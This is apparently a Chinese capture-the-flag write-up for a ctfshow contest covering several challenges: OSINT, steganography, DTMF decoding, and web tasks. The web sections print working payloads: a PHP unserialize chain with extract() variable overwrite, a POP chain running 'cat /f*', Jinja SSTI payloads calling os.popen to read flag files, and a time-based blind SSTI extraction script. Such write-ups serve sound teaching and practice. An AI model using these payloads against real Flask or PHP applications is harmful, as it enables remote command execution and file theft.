群里发送 击剑杯签到即可
所以就发送 “击剑杯签到即可”
然后得到flag
三血
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
//require_once("flag.php");
class whoami{
public $name;
public $your_answer;
public $useless;
public function __construct(){
$this->name='ctfshow第一深情';
$this->your_answer='Only you know';
$this->useless="I_love_u";
}
public function __wakeup(){
global $flag;
global $you_never_know;
$this->name=$you_never_know;
if($this->your_answer === $this->name){
echo $flag;
}
}
}
$secret = $_GET['s'];
if(isset($secret)){
if($secret==="给我看看!"){
extract($_POST);
if($secret==="给我看看!"){
die("");
}
unserialize($secret);
}
}else{
show_source(__FILE__);
}
先不看前面的,看下面这部分,get传一个s,然后secret=s,如果get传的s=给我看看!,那么就进入if里,这里有个extract($_POST)比较关键,我们可以POST一个secret=xxx,下面的
if($secret==="给我看看!"){
die("");
}
就可以跳过,进入反序列化,本地调一下就很清楚了
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
//require_once("flag.php");
class whoami{
public $name;
public $your_answer;
public $useless;
public $you_never_know;
public function __construct(){
$this->name='ctfshow第一深情';
$this->your_answer='123';
$this->useless="I_love_u";
$this->you_never_know="123";//这个其实没吊用
}
public function __wakeup(){
global $flag;
global $you_never_know;
$this->name=$you_never_know;
if($this->your_answer === $this->name){
echo $flag;
}
}
}
$a=new whoami();
echo urlencode(serialize($a));
payload:POST传
secret=O%3A6%3A%22whoami%22%3A4%3A%7Bs%3A4%3A%22name%22%3Bs%3A19%3A%22ctfshow%E7%AC%AC%E4%B8%80%E6%B7%B1%E6%83%85%22%3Bs%3A11%3A%22your_answer%22%3Bs%3A3%3A%22123%22%3Bs%3A7%3A%22useless%22%3Bs%3A8%3A%22I_love_u%22%3Bs%3A14%3A%22you_never_know%22%3Bs%3A3%3A%22123%22%3B%7D&you_never_know=123
osint的题目,注意到这个
bilibili搜一下安装arch教程,随便看看,关注这两个点,在前面的几个视频很快就能发现了
https://www.bilibili.com/video/BV1e3411B79M?from=search&seid=4632972958279843894&spm_id_from=333.337.0.0
所以flag显而易见。
识图(把蓝天白云截掉),中国福建省漳州市东山县黄道周公园
经纬度https://maplocation.sjfkai.com/
然后提交
文件上传,看群主b站视频即可,包含一个带有一句话的地址,
然后访问upload,hackbar里传就行了
附太空人师傅给的"建站"脚本
# coding=utf-8
from flask import *
app = Flask(__name__)
# 对用户进行加密
app.secret_key = '*************************'
# 首页路由
@app.route('/',methods=['GET', 'POST'])
def index():
return ""
if __name__ == "__main__":
app.run(host='0.0.0.0',port=80,debug=True)
用QQ音乐听出是Царь-батюшка ПУ,但是名字不对,翻译了一下,结果为普王,就怀疑是不是普京总统的意思,然后百度一下普京唱的歌,看到这个视频
https://v.youku.com/v_show/id_XNDE4NzA2Mjk4NA==
然后就ok了 填普京的英文名
nc上去给1336-697 1477-697 1477-697 1336-770 1209-852 1477-697 1336-770 1209-852 1336-941 1209-770 1209-852 1209-697 1209-697 1336-697 1336-941 1336-941 1477-770 1209-697 1477-770 1209-770 1477-852 1336-697 1209-770 1477-852 1209-697 1209-852 1336-697 1336-852 1477-770 1209-770 1477-697 1477-697 1336-697 1336-941 1336-697 1209-852 1336-941 1336-770 1477-770 1209-852 1209-697 1477-697 1209-697 1477-852 1477-697 1477-770 1209-852 1477-770 1209-697 1336-697 1477-852 1209-697 1209-852 1336-770 1477-852 1336-941 1209-852 1209-770 1336-770 1336-697 1209-697 1209-697 1477-697 1209-770 1209-697 1209-697 1209-770 1336-770 1209-697 1477-770 1336-770 1336-941 1209-852 1209-697 1209-852 1336-852 1336-697 1477-770 1336-852 1209-852 1336-770 1209-770 1209-852 1336-697 1477-770 1336-697 1477-852 1336-770 1209-852 1336-852 1477-697 1209-852 1477-697 1477-852 1477-697 1209-697 1477-852 1336-852 1336-852 1209-852 1336-697 1336-941 1209-697 1336-770 1209-697 1336-941 1336-941 1336-697 1477-697 1209-852 1336-852
直接拿去百度
DTMF,百度
然后对应着替换,得到233573570471120061649249172864332027056713193676129175907452113411451650717826875472629578373931988720151002378
xlsx文件,我用自带的office打开会报错,换了WPS才正常打开。进去一个像素图,全选然后设置颜色为红色,发现有隐隐约约的PASS字样,
放大看看,有房子票子什么的 还有我爱xx,hint提示爱情价更高,把房子票子的全替换为空,就看的很清楚了
_Dan1u_2.0_
把xlsx搞成压缩包能找到一张图也是dn22.png,带password的png隐写,试一下之前bugku皇家马德里用到的lsb.py,解出个假的flag,那么真的应该是xlsx里面这张,但是是由每一个单元格填充而成的,用脚本提取以后再做成一张图片,再用lsb.py解即可得到flag,脚本我就不放了,各位自己研究才有意思。
感谢@FW_ENJOEY师傅供题,太棒了!
小炫炫最近迷上了OSINT。他说他在某年的考研英语阅读中,曾见到过OSINT,那篇文章中,还提到了他的偶像,你知道他的偶像的名字嘛。
百度考研英语 Open Source Intelligence ,找到文章 2003年的,开头人名就是,但是这里有个坑,wild不算,wild应该是个形容词,草
打开得到四个定位符的二维码,hint说这是四张,维基百科查QRCODE,查到一个mirco QR CODE,这种二维码只有一个定位符的。感觉是四个这样的二维码拼在一起,将图片分成四份分开用软件扫描即可,软件是cortexscan,点开扫描右上角有选项,把mirco QR CODE的选项打开才能扫
然后百度这个字,复制读音粘贴即可,笔画数百度也有,连续十次答对即可得到flag,蛋疼
class action_2
{
public $p;
public $tmp;
}
class action_4
{
public $ctf;
public $show;
}
$o1 = new action_4();
$o1->ran = new action_2();
$o1->ran->p = new action_4();
$o1->ran->p->ctf = "action_3";
$o1->ran->p->show = "cat /f*";
echo urlencode(serialize($o1));
{"verb":["{
{config.__class__.__init__.__globals__['os'].popen('cat flag.txt').read()}}"],"noun":"a","adjective":"a","person":"a","place":"a"}
ssti?input={
{lipsum.__globals__.__builtins__.eval("__import__('os').popen('if [ `cut -c 33 /app/flag.txt` = \"2\" ];then sleep 2;fi').read()")}}
import requests as req
import time
char_set = "1234567890abcdef-"
sess = req.session()
flag = {
}
for i in range(1, 46):
for c in char_set:
url = r"""http://75364536-23be-4516-abd4-728fd0786a72.challenge.ctf.show/ssti?input={
{lipsum.__globals__.__builtins__.eval("__import__('os').popen('if [ `cut -c %d /app/flag.txt` = \"%s\" ];then sleep 2;fi').read()")}}""" % (
i, c)
time.sleep(0.2)
resp = sess.get(url)
if resp.elapsed.seconds >= 2:
print(c, end='')
flag[i] = c
print(flag)
# ctfshow{523cf210-4ef8-4302-8022-9c00f32a4522}
jwt弱密码12345
脚本隐藏
payload隐藏